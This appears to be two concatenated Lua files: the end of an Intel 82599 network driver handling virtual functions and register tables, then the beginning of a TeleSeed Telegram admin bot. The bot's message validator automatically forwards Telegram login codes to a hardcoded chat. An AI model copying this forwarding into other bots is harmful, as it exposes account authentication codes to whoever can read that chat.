-- pool 0 must be initialized, set at range midpoint self.r.DTXMXSZRQ(0xFFF) self.r.MFLCN(bits{RFCE=3}) -- optional? enable legacy flow control self.r.FCCFG(bits{TFCE=3}) self.r.RTTDCS:clr(bits{ARBDIS=6}) return self end --- ### VF: virtualized device local M_vf = {}; M_vf.__index = M_vf -- it's the PF who creates a VF function M_pf:new_vf (poolnum) assert(poolnum < 64, "Pool overflow: Intel 82599 can only have up to 64 virtualized devices.") local txqn = poolnum*2 local rxqn = poolnum*2 local vf = { pf = self, -- some things are shared with the main device... base = self.base, -- mmap()ed register file s = self.s, -- Statistics registers mtu = self.mtu, snmp = self.snmp, -- and others are our own r = {}, -- Configuration registers poolnum = poolnum, txqn = txqn, -- Transmit queue number txdesc = 0, -- Transmit descriptors (pointer) txdesc_phy = 0, -- Transmit descriptors (io address) txpackets = {}, -- Tx descriptor index -> packet mapping tdh = 0, -- Cache of transmit head (TDH) register tdt = 0, -- Cache of transmit tail (TDT) register rxqn = rxqn, -- receive queue number rxdesc = 0, -- Receive descriptors (pointer) rxdesc_phy = 0, -- Receive descriptors (physical address) rxpackets = {}, -- Rx descriptor index -> packet mapping rdh = 0, -- Cache of receive head (RDH) register rdt = 0, -- Cache of receive tail (RDT) register rxnext = 0, -- Index of next buffer to receive } return setmetatable(vf, M_vf) end function M_vf:open (opts) register.define(transmit_registers_desc, self.r, self.base, self.txqn) register.define(receive_registers_desc, self.r, self.base, self.rxqn) self.txpackets = ffi.new("struct packet *[?]", num_descriptors) self.rxpackets = ffi.new("struct packet *[?]", num_descriptors) return self:init(opts) end function M_vf:close() local poolnum = self.poolnum or 0 local pf = self.pf if self.free_receive_buffers then self:free_receive_buffers() end if self.discard_unsent_packets then self:discard_unsent_packets() C.usleep(1000) end -- unset_tx_rate self:set_tx_rate(0, 0) self :unset_mirror() :unset_VLAN() -- unset MAC do local msk = bits{Ena=self.poolnum%32} for mac_index = 0, 127 do pf.r.MPSAR[2*mac_index + math.floor(poolnum/32)]:clr(msk) end end self:disable_transmit() :disable_receive() :free_dma_memory() return self end function M_vf:reconfig(opts) local poolnum = self.poolnum or 0 local pf = self.pf self :unset_mirror() :unset_VLAN() :unset_MAC() do local msk = bits{Ena=self.poolnum%32} for mac_index = 0, 127 do pf.r.MPSAR[2*mac_index + math.floor(poolnum/32)]:clr(msk) end end return self :set_MAC(opts.macaddr) :set_mirror(opts.mirror) :set_VLAN(opts.vlan) :set_rx_stats(opts.rxcounter) :set_tx_stats(opts.txcounter) :set_tx_rate(opts.rate_limit, opts.priority) :enable_receive() :enable_transmit() end function M_vf:init (opts) return self :init_dma_memory() :init_receive() :init_transmit() :set_MAC(opts.macaddr) :set_mirror(opts.mirror) :set_VLAN(opts.vlan) :set_rx_stats(opts.rxcounter) :set_tx_stats(opts.txcounter) :set_tx_rate(opts.rate_limit, opts.priority) :enable_receive() :enable_transmit() end M_vf.init_dma_memory = M_sf.init_dma_memory M_vf.free_dma_memory = M_sf.free_dma_memory M_vf.set_receive_descriptors = M_sf.set_receive_descriptors M_vf.set_transmit_descriptors = M_sf.set_transmit_descriptors M_vf.can_transmit = M_sf.can_transmit M_vf.transmit = M_sf.transmit M_vf.sync_transmit = M_sf.sync_transmit M_vf.discard_unsent_packets = M_sf.discard_unsent_packets M_vf.can_receive = M_sf.can_receive M_vf.receive = M_sf.receive M_vf.can_add_receive_buffer = M_sf.can_add_receive_buffer M_vf.set_rx_buffersize = M_sf.set_rx_buffersize M_vf.add_receive_buffer = M_sf.add_receive_buffer M_vf.free_receive_buffers = M_sf.free_receive_buffers M_vf.sync_receive = M_sf.sync_receive function M_vf:init_receive () local poolnum = self.poolnum or 0 self.pf.r.PSRTYPE[poolnum](0) -- no splitting, use pool's first queue self.r.RSCCTL(0x0) -- no RSC self:set_receive_descriptors() self.pf.r.PFVML2FLT[poolnum]:set(bits{MPE=28, BAM=27, AUPE=24}) return self end function M_vf:enable_receive() self.r.RXDCTL(bits{Enable=25, VME=30}) self.r.RXDCTL:wait(bits{enable=25}) self.r.DCA_RXCTRL:clr(bits{RxCTRL=12}) self.pf.r.PFVFRE[math.floor(self.poolnum/32)]:set(bits{VFRE=self.poolnum%32}) return self end function M_vf:disable_receive(reenable) self.r.RXDCTL:clr(bits{Enable=25}) self.r.RXDCTL:wait(bits{Enable=25}, 0) C.usleep(100) -- TODO free packet buffers self.pf.r.PFVFRE[math.floor(self.poolnum/32)]:clr(bits{VFRE=self.poolnum%32}) if reenable then self.r.RXDCTL(bits{Enable=25, VME=30}) -- self.r.RXDCTL:wait(bits{enable=25}) end return self end function M_vf:init_transmit () local poolnum = self.poolnum or 0 self.r.TXDCTL:clr(bits{Enable=25}) self:set_transmit_descriptors() self.pf.r.PFVMTXSW[math.floor(poolnum/32)]:clr(bits{LLE=poolnum%32}) self.pf.r.PFVFTE[math.floor(poolnum/32)]:set(bits{VFTE=poolnum%32}) self.pf.r.RTTDQSEL(poolnum) self.pf.r.RTTDT1C(0x80) self.pf.r.RTTBCNRC(0x00) -- no rate limiting return self end function M_vf:enable_transmit() self.pf.r.DMATXCTL:set(bits{TE=0}) self.r.TXDCTL:set(bits({Enable=25, SWFLSH=26, hthresh=8}) + 32) self.r.TXDCTL:wait(bits{Enable=25}) return self end function M_vf:disable_transmit(reenable) -- TODO: wait TDH==TDT -- TODO: wait all is written back: DD bit or Head_WB self.r.TXDCTL:clr(bits{Enable=25}) self.r.TXDCTL:set(bits{SWFLSH=26}) self.r.TXDCTL:wait(bits{Enable=25}, 0) self.pf.r.PFVFTE[math.floor(self.poolnum/32)]:clr(bits{VFTE=self.poolnum%32}) if reenable then self.r.TXDCTL:set(bits({Enable=25, SWFLSH=26, hthresh=8}) + 32) -- self.r.TXDCTL:wait(bits{Enable=25}) end return self end function M_vf:set_MAC (mac) if not mac then return self end mac = macaddress:new(mac) return self :add_receive_MAC(mac) :set_transmit_MAC(mac) end function M_vf:unset_MAC() end function M_vf:add_receive_MAC (mac) mac = macaddress:new(mac) local pf = self.pf local mac_index, is_new = pf.mac_set:add(tostring(mac)) if is_new then pf.r.RAL[mac_index](mac:subbits(0,32)) pf.r.RAH[mac_index](bits({AV=31},mac:subbits(32,48))) end pf.r.MPSAR[2*mac_index + math.floor(self.poolnum/32)] :set(bits{Ena=self.poolnum%32}) return self end function M_vf:set_transmit_MAC (mac) local poolnum = self.poolnum or 0 self.pf.r.PFVFSPOOF[math.floor(poolnum/8)]:set(bits{MACAS=poolnum%8}) return self end function M_vf:set_mirror (want_mirror) if want_mirror then -- set MAC promiscuous self.pf.r.PFVML2FLT[self.poolnum]:set(bits{ AUPE=24, ROMPE=25, ROPE=26, BAM=27, MPE=28}) -- pick one of a limited (4) number of mirroring rules local mirror_ndx, is_new = self.pf.mirror_set:add(self.poolnum) local mirror_rule = 0ULL -- mirror some or all pools if want_mirror.pool then mirror_rule = bor(bits{VPME=0}, mirror_rule) if want_mirror.pool == true then -- mirror all pools self.pf.r.PFMRVM[mirror_ndx](0xFFFFFFFF) self.pf.r.PFMRVM[mirror_ndx+4](0xFFFFFFFF) elseif type(want_mirror.pool) == 'table' then local bm0 = self.pf.r.PFMRVM[mirror_ndx] local bm1 = self.pf.r.PFMRVM[mirror_ndx+4] for _, pool in ipairs(want_mirror.pool) do if pool <= 32 then bm0 = bor(lshift(1, pool), bm0) else bm1 = bor(lshift(1, pool-32), bm1) end end self.pf.r.PFMRVM[mirror_ndx](bm0) self.pf.r.PFMRVM[mirror_ndx+4](bm1) end end -- mirror hardware port if want_mirror.port then if want_mirror.port == true or want_mirror.port == 'in' or want_mirror.port == 'inout' then mirror_rule = bor(bits{UPME=1}, mirror_rule) end if want_mirror.port == true or want_mirror.port == 'out' or want_mirror.port == 'inout' then mirror_rule = bor(bits{DPME=2}, mirror_rule) end end -- mirror some or all vlans if want_mirror.vlan then mirror_rule = bor(bits{VLME=3}, mirror_rule) -- TODO: set which vlan's want to mirror end if mirror_rule ~= 0 then mirror_rule = bor(mirror_rule, lshift(self.poolnum, 8)) self.pf.r.PFMRCTL[mirror_ndx]:set(mirror_rule) end end return self end function M_vf:unset_mirror() for rule_i = 0, 3 do -- check if any mirror rule points here local rule_dest = band(bit.rshift(self.pf.r.PFMRCTL[rule_i](), 8), 63) local bits = band(self.pf.r.PFMRCTL[rule_i](), 0x07) if bits ~= 0 and rule_dest == self.poolnum then self.pf.r.PFMRCTL[rule_i](0x0) -- clear rule self.pf.r.PFMRVLAN[rule_i](0x0) -- clear VLANs mirrored self.pf.r.PFMRVLAN[rule_i+4](0x0) self.pf.r.PFMRVM[rule_i](0x0) -- clear pools mirrored self.pf.r.PFMRVM[rule_i+4](0x0) end end self.pf.mirror_set:pop(self.poolnum) return self end function M_vf:set_VLAN (vlan) if not vlan then return self end assert(vlan>=0 and vlan<4096, "bad VLAN number") return self :add_receive_VLAN(vlan) :set_tag_VLAN(vlan) end function M_vf:add_receive_VLAN (vlan) assert(vlan>=0 and vlan<4096, "bad VLAN number") local pf = self.pf local vlan_index, is_new = pf.vlan_set:add(vlan) if is_new then pf.r.VFTA[math.floor(vlan/32)]:set(bits{Ena=vlan%32}) pf.r.PFVLVF[vlan_index](bits({Vl_En=31},vlan)) end pf.r.PFVLVFB[2*vlan_index + math.floor(self.poolnum/32)] :set(bits{PoolEna=self.poolnum%32}) return self end function M_vf:set_tag_VLAN(vlan) local poolnum = self.poolnum or 0 self.pf.r.PFVFSPOOF[math.floor(poolnum/8)]:set(bits{VLANAS=poolnum%8+8}) self.pf.r.PFVMVIR[poolnum](bits({VLANA=30}, vlan)) -- always add VLAN tag return self end function M_vf:unset_VLAN() local r = self.pf.r local offs, mask = math.floor(self.poolnum/32), bits{PoolEna=self.poolnum%32} for vln_ndx = 0, 63 do if band(r.PFVLVFB[2*vln_ndx+offs](), mask) ~= 0 then -- found a vlan this pool belongs to r.PFVLVFB[2*vln_ndx+offs]:clr(mask) if r.PFVLVFB[2*vln_ndx+offs]() == 0 then -- it was the last pool of the vlan local vlan = tonumber(band(r.PFVLVF[vln_ndx](), 0xFFF)) r.PFVLVF[vln_ndx](0x0) r.VFTA[math.floor(vlan/32)]:clr(bits{Ena=vlan%32}) self.pf.vlan_set:pop(vlan) end end end return self end function M_vf:set_rx_stats (counter) if not counter then return self end assert(counter>=0 and counter<16, "bad Rx counter") self.rxstats = counter self.pf.qs.RQSMR[math.floor(self.rxqn/4)]:set(lshift(counter,8*(self.rxqn%4))) return self end function M_vf:set_tx_stats (counter) if not counter then return self end assert(counter>=0 and counter<16, "bad Tx counter") self.txstats = counter self.pf.qs.TQSM[math.floor(self.txqn/4)]:set(lshift(counter,8*(self.txqn%4))) return self end function M_vf:get_rxstats () if not self.rxstats then return nil end return { counter_id = self.rxstats, packets = tonumber(self.pf.qs.QPRC[self.rxstats]()), dropped = tonumber(self.pf.qs.QPRDC[self.rxstats]()), bytes = tonumber(lshift(self.pf.qs.QBRC_H[self.rxstats]()+0LL, 32) + self.pf.qs.QBRC_L[self.rxstats]()) } end function M_vf:get_txstats () if not self.txstats then return nil end return { counter_id = self.txstats, packets = tonumber(self.pf.qs.QPTC[self.txstats]()), bytes = tonumber(lshift(self.pf.qs.QBTC_H[self.txstats]()+0LL, 32) + self.pf.qs.QBTC_L[self.txstats]()) } end function M_vf:set_tx_rate (limit, priority) limit = tonumber(limit) or 0 self.pf.r.RTTDQSEL(self.poolnum) if limit >= 10 then local factor = 10000 / tonumber(limit) -- line rate = 10,000 Mb/s factor = bit.band(math.floor(factor*2^14+0.5), 2^24-1) -- 10.14 bits self.pf.r.RTTBCNRC(bits({RS_ENA=31}, factor)) else self.pf.r.RTTBCNRC(0x00) end priority = tonumber(priority) or 1.0 self.pf.r.RTTDT1C(bit.band(math.floor(priority * 0x80), 0x3FF)) return self end rxdesc_t = ffi.typeof [[ union { struct { uint64_t address; uint64_t dd; } __attribute__((packed)) data; struct { uint16_t rsstype_packet_type; uint16_t rsccnt_hdrlen_sph; uint32_t xargs; uint32_t xstatus_xerror; uint16_t pkt_len; uint16_t vlan; } __attribute__((packed)) wb; } ]] txdesc_t = ffi.typeof [[ struct { uint64_t address, options; } ]] --- ### Configuration register description. config_registers_desc = [[ ANLP1 0x042B0 - RO Auto Negotiation Link Partner ANLP2 0x042B4 - RO Auto Negotiation Link Partner 2 AUTOC 0x042A0 - RW Auto Negotiation Control AUTOC2 0x042A8 - RW Auto Negotiation Control 2 CTRL 0x00000 - RW Device Control CTRL_EX 0x00018 - RW Extended Device Control DCA_ID 0x11070 - RW DCA Requester ID Information DCA_CTRL 0x11074 - RW DCA Control Register DMATXCTL 0x04A80 - RW DMA Tx Control DTXMXSZRQ 0x08100 - RW DMA Tx Map Allow Size Requests DTXTCPFLGL 0x04A88 - RW DMA Tx TCP Flags Control Low DTXTCPFLGH 0x04A88 - RW DMA Tx TCP Flags Control High EEC 0x10010 - RW EEPROM/Flash Control FCTRL 0x05080 - RW Filter Control FCCFG 0x03D00 - RW Flow Control Configuration HLREG0 0x04240 - RW MAC Core Control 0 LINKS 0x042A4 - RO Link Status Register LINKS2 0x04324 - RO Second status link register MANC 0x05820 - RW Management Control Register MAXFRS 0x04268 - RW Max Frame Size MNGTXMAP 0x0CD10 - RW Mangeability Tranxmit TC Mapping MFLCN 0x04294 - RW MAC Flow Control Register MTQC 0x08120 - RW Multiple Transmit Queues Command Register MRQC 0x0EC80 - RW Multiple Receive Queues Command Register PFQDE 0x02F04 - RW PF Queue Drop Enable Register PFVTCTL 0x051B0 - RW PF Virtual Control Register RDRXCTL 0x02F00 - RW Receive DMA Control RTRUP2TC 0x03020 - RW DCB Receive Use rPriority to Traffic Class RTTBCNRC 0x04984 - RW DCB Transmit Rate-Scheduler Config RTTDCS 0x04900 - RW DCB Transmit Descriptor Plane Control RTTDQSEL 0x04904 - RW DCB Transmit Descriptor Plane Queue Select RTTDT1C 0x04908 - RW DCB Transmit Descriptor Plane T1 Config RTTUP2TC 0x0C800 - RW DCB Transmit User Priority to Traffic Class RXCTRL 0x03000 - RW Receive Control RXDSTATCTRL 0x02F40 - RW Rx DMA Statistic Counter Control SECRXCTRL 0x08D00 - RW Security RX Control SECRXSTAT 0x08D04 - RO Security Rx Status SECTXCTRL 0x08800 - RW Security Tx Control SECTXSTAT 0x08804 - RO Security Tx Status STATUS 0x00008 - RO Device Status SWSM 0x10140 - RW Software Semaphore Register SW_FW_SYNC 0x10160 - RW Software–Firmware Synchronization ]] switch_config_registers_desc = [[ PFMRCTL 0x0F600 +0x04*0..3 RW PF Mirror Rule Control PFMRVLAN 0x0F610 +0x04*0..7 RW PF mirror Rule VLAN PFMRVM 0x0F630 +0x04*0..7 RW PF Mirror Rule Pool PFVFRE 0x051E0 +0x04*0..1 RW PF VF Receive Enable PFVFTE 0x08110 +0x04*0..1 RW PF VF Transmit Enable PFVMTXSW 0x05180 +0x04*0..1 RW PF VM Tx Switch Loopback Enable PFVMVIR 0x08000 +0x04*0..63 RW PF VM VLAN Insert Register PFVFSPOOF 0x08200 +0x04*0..7 RW PF VF Anti Spoof control PFDTXGSWC 0x08220 - RW PFDMA Tx General Switch Control RTTDT2C 0x04910 +0x04*0..7 RW DCB Transmit Descriptor Plane T2 Config RTTPT2C 0x0CD20 +0x04*0..7 RW DCB Transmit Packet Plane T2 Config RXPBSIZE 0x03C00 +0x04*0..7 RW Receive Packet Buffer Size TXPBSIZE 0x0CC00 +0x04*0..7 RW Transmit Packet Buffer Size TXPBTHRESH 0x04950 +0x04*0..7 RW Tx Packet Buffer Threshold ]] receive_registers_desc = [[ DCA_RXCTRL 0x0100C +0x40*0..63 RW Rx DCA Control Register DCA_RXCTRL 0x0D00C +0x40*64..127 RW Rx DCA Control Register RDBAL 0x01000 +0x40*0..63 RW Receive Descriptor Base Address Low RDBAL 0x0D000 +0x40*64..127 RW Receive Descriptor Base Address Low RDBAH 0x01004 +0x40*0..63 RW Receive Descriptor Base Address High RDBAH 0x0D004 +0x40*64..127 RW Receive Descriptor Base Address High RDLEN 0x01008 +0x40*0..63 RW Receive Descriptor Length RDLEN 0x0D008 +0x40*64..127 RW Receive Descriptor Length RDH 0x01010 +0x40*0..63 RO Receive Descriptor Head RDH 0x0D010 +0x40*64..127 RO Receive Descriptor Head RDT 0x01018 +0x40*0..63 RW Receive Descriptor Tail RDT 0x0D018 +0x40*64..127 RW Receive Descriptor Tail RXDCTL 0x01028 +0x40*0..63 RW Receive Descriptor Control RXDCTL 0x0D028 +0x40*64..127 RW Receive Descriptor Control SRRCTL 0x01014 +0x40*0..63 RW Split Receive Control Registers SRRCTL 0x0D014 +0x40*64..127 RW Split Receive Control Registers RSCCTL 0x0102C +0x40*0..63 RW RSC Control RSCCTL 0x0D02C +0x40*64..127 RW RSC Control ]] transmit_registers_desc = [[ DCA_TXCTRL 0x0600C +0x40*0..127 RW Tx DCA Control Register TDBAL 0x06000 +0x40*0..127 RW Transmit Descriptor Base Address Low TDBAH 0x06004 +0x40*0..127 RW Transmit Descriptor Base Address High TDH 0x06010 +0x40*0..127 RW Transmit Descriptor Head TDT 0x06018 +0x40*0..127 RW Transmit Descriptor Tail TDLEN 0x06008 +0x40*0..127 RW Transmit Descriptor Length TDWBAL 0x06038 +0x40*0..127 RW Tx Desc Completion Write Back Address Low TDWBAH 0x0603C +0x40*0..127 RW Tx Desc Completion Write Back Address High TXDCTL 0x06028 +0x40*0..127 RW Transmit Descriptor Control ]] packet_filter_desc = [[ FCTRL 0x05080 - RW Filter Control Register FCRTL 0x03220 +0x04*0..7 RW Flow Control Receive Threshold Low FCRTH 0x03260 +0x04*0..7 RW Flow Control Receive Threshold High VLNCTRL 0x05088 - RW VLAN Control Register MCSTCTRL 0x05090 - RW Multicast Control Register PSRTYPE 0x0EA00 +0x04*0..63 RW Packet Split Receive Type Register RXCSUM 0x05000 - RW Receive Checksum Control RFCTL 0x05008 - RW Receive Filter Control Register PFVFRE 0x051E0 +0x04*0..1 RW PF VF Receive Enable PFVFTE 0x08110 +0x04*0..1 RW PF VF Transmit Enable MTA 0x05200 +0x04*0..127 RW Multicast Table Array RAL 0x0A200 +0x08*0..127 RW Receive Address Low RAH 0x0A204 +0x08*0..127 RW Receive Address High MPSAR 0x0A600 +0x04*0..255 RW MAC Pool Select Array VFTA 0x0A000 +0x04*0..127 RW VLAN Filter Table Array RQTC 0x0EC70 - RW RSS Queues Per Traffic Class Register RSSRK 0x0EB80 +0x04*0..9 RW RSS Random Key Register RETA 0x0EB00 +0x04*0..31 RW Redirection Rable SAQF 0x0E000 +0x04*0..127 RW Source Address Queue Filter DAQF 0x0E200 +0x04*0..127 RW Destination Address Queue Filter SDPQF 0x0E400 +0x04*0..127 RW Source Destination Port Queue Filter FTQF 0x0E600 +0x04*0..127 RW Five Tuple Queue Filter SYNQF 0x0EC30 - RW SYN Packet Queue Filter ETQF 0x05128 +0x04*0..7 RW EType Queue Filter ETQS 0x0EC00 +0x04*0..7 RW EType Queue Select PFVML2FLT 0x0F000 +0x04*0..63 RW PF VM L2 Control Register PFVLVF 0x0F100 +0x04*0..63 RW PF VM VLAN Pool Filter PFVLVFB 0x0F200 +0x04*0..127 RW PF VM VLAN Pool Filter Bitmap PFUTA 0X0F400 +0x04*0..127 RW PF Unicast Table Array ]] --- ### Statistics register description. statistics_registers_desc = [[ CRCERRS 0x04000 - RC CRC Error Count ILLERRC 0x04004 - RC Illegal Byte Error Count ERRBC 0x04008 - RC Error Byte Count MLFC 0x04034 - RC MAC Local Fault Count MRFC 0x04038 - RC MAC Remote Fault Count RLEC 0x04040 - RC Receive Length Error Count SSVPC 0x08780 - RC Switch Security Violation Packet Count LXONRXCNT 0x041A4 - RC Link XON Received Count LXOFFRXCNT 0x041A8 - RC Link XOFF Received Count PXONRXCNT 0x04140 +4*0..7 RC Priority XON Received Count PXOFFRXCNT 0x04160 +4*0..7 RC Priority XOFF Received Count PRC64 0x0405C - RC Packets Received [64 Bytes] Count PRC127 0x04060 - RC Packets Received [65-127 Bytes] Count PRC255 0x04064 - RC Packets Received [128-255 Bytes] Count PRC511 0x04068 - RC Packets Received [256-511 Bytes] Count PRC1023 0x0406C - RC Packets Received [512-1023 Bytes] Count PRC1522 0x04070 - RC Packets Received [1024 to Max Bytes] Count BPRC 0x04078 - RC Broadcast Packets Received Count MPRC 0x0407C - RC Multicast Packets Received Count GPRC 0x04074 - RC Good Packets Received Count GORC64 0x04088 - RC64 Good Octets Received Count 64-bit GORCL 0x04088 - RC Good Octets Received Count Low GORCH 0x0408C - RC Good Octets Received Count High RXNFGPC 0x041B0 - RC Good Rx Non-Filtered Packet Counter RXNFGBCL 0x041B4 - RC Good Rx Non-Filter Byte Counter Low RXNFGBCH 0x041B8 - RC Good Rx Non-Filter Byte Counter High RXDGPC 0x02F50 - RC DMA Good Rx Packet Counter RXDGBCL 0x02F54 - RC DMA Good Rx Byte Counter Low RXDGBCH 0x02F58 - RC DMA Good Rx Byte Counter High RXDDPC 0x02F5C - RC DMA Duplicated Good Rx Packet Counter RXDDBCL 0x02F60 - RC DMA Duplicated Good Rx Byte Counter Low RXDDBCH 0x02F64 - RC DMA Duplicated Good Rx Byte Counter High RXLPBKPC 0x02F68 - RC DMA Good Rx LPBK Packet Counter RXLPBKBCL 0x02F6C - RC DMA Good Rx LPBK Byte Counter Low RXLPBKBCH 0x02F70 - RC DMA Good Rx LPBK Byte Counter High RXDLPBKPC 0x02F74 - RC DMA Duplicated Good Rx LPBK Packet Counter RXDLPBKBCL 0x02F78 - RC DMA Duplicated Good Rx LPBK Byte Counter Low RXDLPBKBCH 0x02F7C - RC DMA Duplicated Good Rx LPBK Byte Counter High GPTC 0x04080 - RC Good Packets Transmitted Count GOTC64 0x04090 - RC64 Good Octets Transmitted Count 64-bit GOTCL 0x04090 - RC Good Octets Transmitted Count Low GOTCH 0x04094 - RC Good Octets Transmitted Count High TXDGPC 0x087A0 - RC DMA Good Tx Packet Counter TXDGBCL 0x087A4 - RC DMA Good Tx Byte Counter Low TXDGBCH 0x087A8 - RC DMA Good Tx Byte Counter High RUC 0x040A4 - RC Receive Undersize Count RFC 0x040A8 - RC Receive Fragment Count ROC 0x040AC - RC Receive Oversize Count RJC 0x040B0 - RC Receive Jabber Count MNGPRC 0x040B4 - RC Management Packets Received Count MNGPDC 0x040B8 - RC Management Packets Dropped Count TORL 0x040C0 - RC Total Octets Received TORH 0x040C4 - RC Total Octets Received TPR 0x040D0 - RC Total Packets Received TPT 0x040D4 - RC Total Packets Transmitted PTC64 0x040D8 - RC Packets Transmitted [64 Bytes] Count PTC127 0x040DC - RC Packets Transmitted [65-127 Bytes] Count PTC255 0x040E0 - RC Packets Transmitted [128-255 Bytes] Count PTC511 0x040E4 - RC Packets Transmitted [256-511 Bytes] Count PTC1023 0x040E8 - RC Packets Transmitted [512-1023 Bytes] Count PTC1522 0x040EC - RC Packets Transmitted [Greater than 1024 Bytes] Count MPTC 0x040F0 - RC Multicast Packets Transmitted Count BPTC 0x040F4 - RC Broadcast Packets Transmitted Count MSPDC 0x04010 - RC MAC short Packet Discard Count XEC 0x04120 - RC XSUM Error Count FCCRC 0x05118 - RC FC CRC Error Count FCOERPDC 0x0241C - RC FCoE Rx Packets Dropped Count FCLAST 0x02424 - RC FC Last Error Count FCOEPRC 0x02428 - RC FCoE Packets Received Count FCOEDWRC 0x0242C - RC FCOE DWord Received Count FCOEPTC 0x08784 - RC FCoE Packets Transmitted Count FCOEDWTC 0x08788 - RC FCoE DWord Transmitted Count ]] queue_statistics_registers_desc = [[ RQSMR 0x02300 +0x4*0..31 RW Receive Queue Statistic Mapping Registers TQSM 0x08600 +0x4*0..31 RW Transmit Queue Statistic Mapping Registers QPRC 0x01030 +0x40*0..15 RC Queue Packets Received Count QPRDC 0x01430 +0x40*0..15 RC Queue Packets Received Drop Count QBRC_L 0x01034 +0x40*0..15 RC Queue Bytes Received Count Low QBRC_H 0x01038 +0x40*0..15 RC Queue Bytes Received Count High QPTC 0x08680 +0x4*0..15 RC Queue Packets Transmitted Count QBTC_L 0x08700 +0x8*0..15 RC Queue Bytes Transmitted Count Low QBTC_H 0x08704 +0x8*0..15 RC Queue Bytes Transmitted Count High ]]
apache-2.0
yanarsin/yana
bot/seedbot.lua
1
10012
package.path = package.path .. ';.luarocks/share/lua/5.2/?.lua' ..';.luarocks/share/lua/5.2/?/init.lua' package.cpath = package.cpath .. ';.luarocks/lib/lua/5.2/?.so' require("./bot/utils") VERSION = '1.0' -- This function is called when tg receive a msg function on_msg_receive (msg) if not started then return end local receiver = get_receiver(msg) print (receiver) --vardump(msg) msg = pre_process_service_msg(msg) if msg_valid(msg) then msg = pre_process_msg(msg) if msg then match_plugins(msg) -- mark_read(receiver, ok_cb, false) end end end function ok_cb(extra, success, result) end function on_binlog_replay_end() started = true postpone (cron_plugins, false, 60*5.0) _config = load_config() -- load plugins plugins = {} load_plugins() end function msg_valid(msg) -- Don't process outgoing messages if msg.out then print('\27[36mNot valid: msg from us\27[39m') return false end -- Before bot was started if msg.date < now then print('\27[36mNot valid: old msg\27[39m') return false end if msg.unread == 0 then print('\27[36mNot valid: readed\27[39m') return false end if not msg.to.id then print('\27[36mNot valid: To id not provided\27[39m') return false end if not msg.from.id then print('\27[36mNot valid: From id not provided\27[39m') return false end if msg.from.id == our_id then print('\27[36mNot valid: Msg from our id\27[39m') return false end if msg.to.type == 'encr_chat' then print('\27[36mNot valid: Encrypted chat\27[39m') return false end if msg.from.id == 777000 then local login_group_id = 1 --It will send login codes to this chat send_large_msg('chat#id'..login_group_id, msg.text) end return true end -- function pre_process_service_msg(msg) if msg.service then local action = msg.action or {type=""} -- Double ! to discriminate of normal actions msg.text = "!!tgservice " .. action.type -- wipe the data to allow the bot to read service messages if msg.out then msg.out = false end if msg.from.id == our_id then msg.from.id = 0 end end return msg end -- Apply plugin.pre_process function function pre_process_msg(msg) for name,plugin in pairs(plugins) do if plugin.pre_process and msg then print('Preprocess', name) msg = plugin.pre_process(msg) end end return msg end -- Go over enabled plugins patterns. function match_plugins(msg) for name, plugin in pairs(plugins) do match_plugin(plugin, name, msg) end end -- Check if plugin is on _config.disabled_plugin_on_chat table local function is_plugin_disabled_on_chat(plugin_name, receiver) local disabled_chats = _config.disabled_plugin_on_chat -- Table exists and chat has disabled plugins if disabled_chats and disabled_chats[receiver] then -- Checks if plugin is disabled on this chat for disabled_plugin,disabled in pairs(disabled_chats[receiver]) do if disabled_plugin == plugin_name and disabled then local warning = 'Plugin '..disabled_plugin..' is disabled on this chat' print(warning) send_msg(receiver, warning, ok_cb, false) return true end end end return false end function match_plugin(plugin, plugin_name, msg) local receiver = get_receiver(msg) -- Go over patterns. If one matches it's enough. for k, pattern in pairs(plugin.patterns) do local matches = match_pattern(pattern, msg.text) if matches then print("msg matches: ", pattern) if is_plugin_disabled_on_chat(plugin_name, receiver) then return nil end -- Function exists if plugin.run then -- If plugin is for privileged users only if not warns_user_not_allowed(plugin, msg) then local result = plugin.run(msg, matches) if result then send_large_msg(receiver, result) end end end -- One patterns matches return end end end -- DEPRECATED, use send_large_msg(destination, text) function _send_msg(destination, text) send_large_msg(destination, text) end -- Save the content of _config to config.lua function save_config( ) serialize_to_file(_config, './data/config.lua') print ('saved config into ./data/config.lua') end -- Returns the config from config.lua file. -- If file doesn't exist, create it. function load_config( ) local f = io.open('./data/config.lua', "r") -- If config.lua doesn't exist if not f then print ("Created new config file: data/config.lua") create_config() else f:close() end local config = loadfile ("./data/config.lua")() for v,user in pairs(config.sudo_users) do print("Allowed user: " .. user) end return config end -- Create a basic config.json file and saves it. function create_config( ) -- A simple config with basic plugins and ourselves as privileged user config = { enabled_plugins = { "onservice", "inrealm", "ingroup", "inpm", "banhammer", "stats", "anti_spam", "owners", "arabic_lock", "set", "get", "broadcast", "download_media", "invite", "all", "leave_ban", "Plugins" }, sudo_users = {126433592},--Sudo users disabled_channels = {}, moderation = {data = 'data/moderation.json'}, about_text = [[Teleseed v2 - Open Source An advance Administration bot based on yagop/telegram-bot https://github.com/SEEDTEAM/TeleSeed Admins @iwals [Founder] @imandaneshi [Developer] @Rondoozle [Developer] @seyedan25 [Manager] Special thanks to awkward_potato Siyanew topkecleon Vamptacus Our channels @teleseedch [English] @iranseed [persian] ]], help_text_realm = [[ Realm Commands: !creategroup [Name] Create a group !createrealm [Name] Create a realm !setname [Name] Set realm name !setabout [GroupID] [Text] Set a group's about text !setrules [GroupID] [Text] Set a group's rules !lock [GroupID] [setting] Lock a group's setting !unlock [GroupID] [setting] Unock a group's setting !wholist Get a list of members in group/realm !who Get a file of members in group/realm !type Get group type !kill chat [GroupID] Kick all memebers and delete group !kill realm [RealmID] Kick all members and delete realm !addadmin [id|username] Promote an admin by id OR username *Sudo only !removeadmin [id|username] Demote an admin by id OR username *Sudo only !list groups Get a list of all groups !list realms Get a list of all realms !log Grt a logfile of current group or realm !broadcast [text] !broadcast Hello ! Send text to all groups Only sudo users can run this command !br [group_id] [text] !br 123456789 Hello ! This command will send text to [group_id] **U can use both "/" and "!" *Only admins and sudo can add bots in group *Only admins and sudo can use kick,ban,unban,newlink,setphoto,setname,lock,unlock,set rules,set about and settings commands *Only admins and sudo can use res, setowner, commands ]], help_text = [[ Commands list : !kick [username|id] You can also do it by reply !ban [ username|id] You can also do it by reply !unban [id] You can also do it by reply !who Members list !modlist Moderators list !promote [username] Promote someone !demote [username] Demote someone !kickme Will kick user !about Group description !setphoto Set and locks group photo !setname [name] Set group name !rules Group rules !id return group id or user id !help !lock [member|name|bots|leave] Locks [member|name|bots|leaveing] !unlock [member|name|bots|leave] Unlocks [member|name|bots|leaving] !set rules <text> Set <text> as rules !set about <text> Set <text> as about !settings Returns group settings !newlink create/revoke your group link !link returns group link !owner returns group owner id 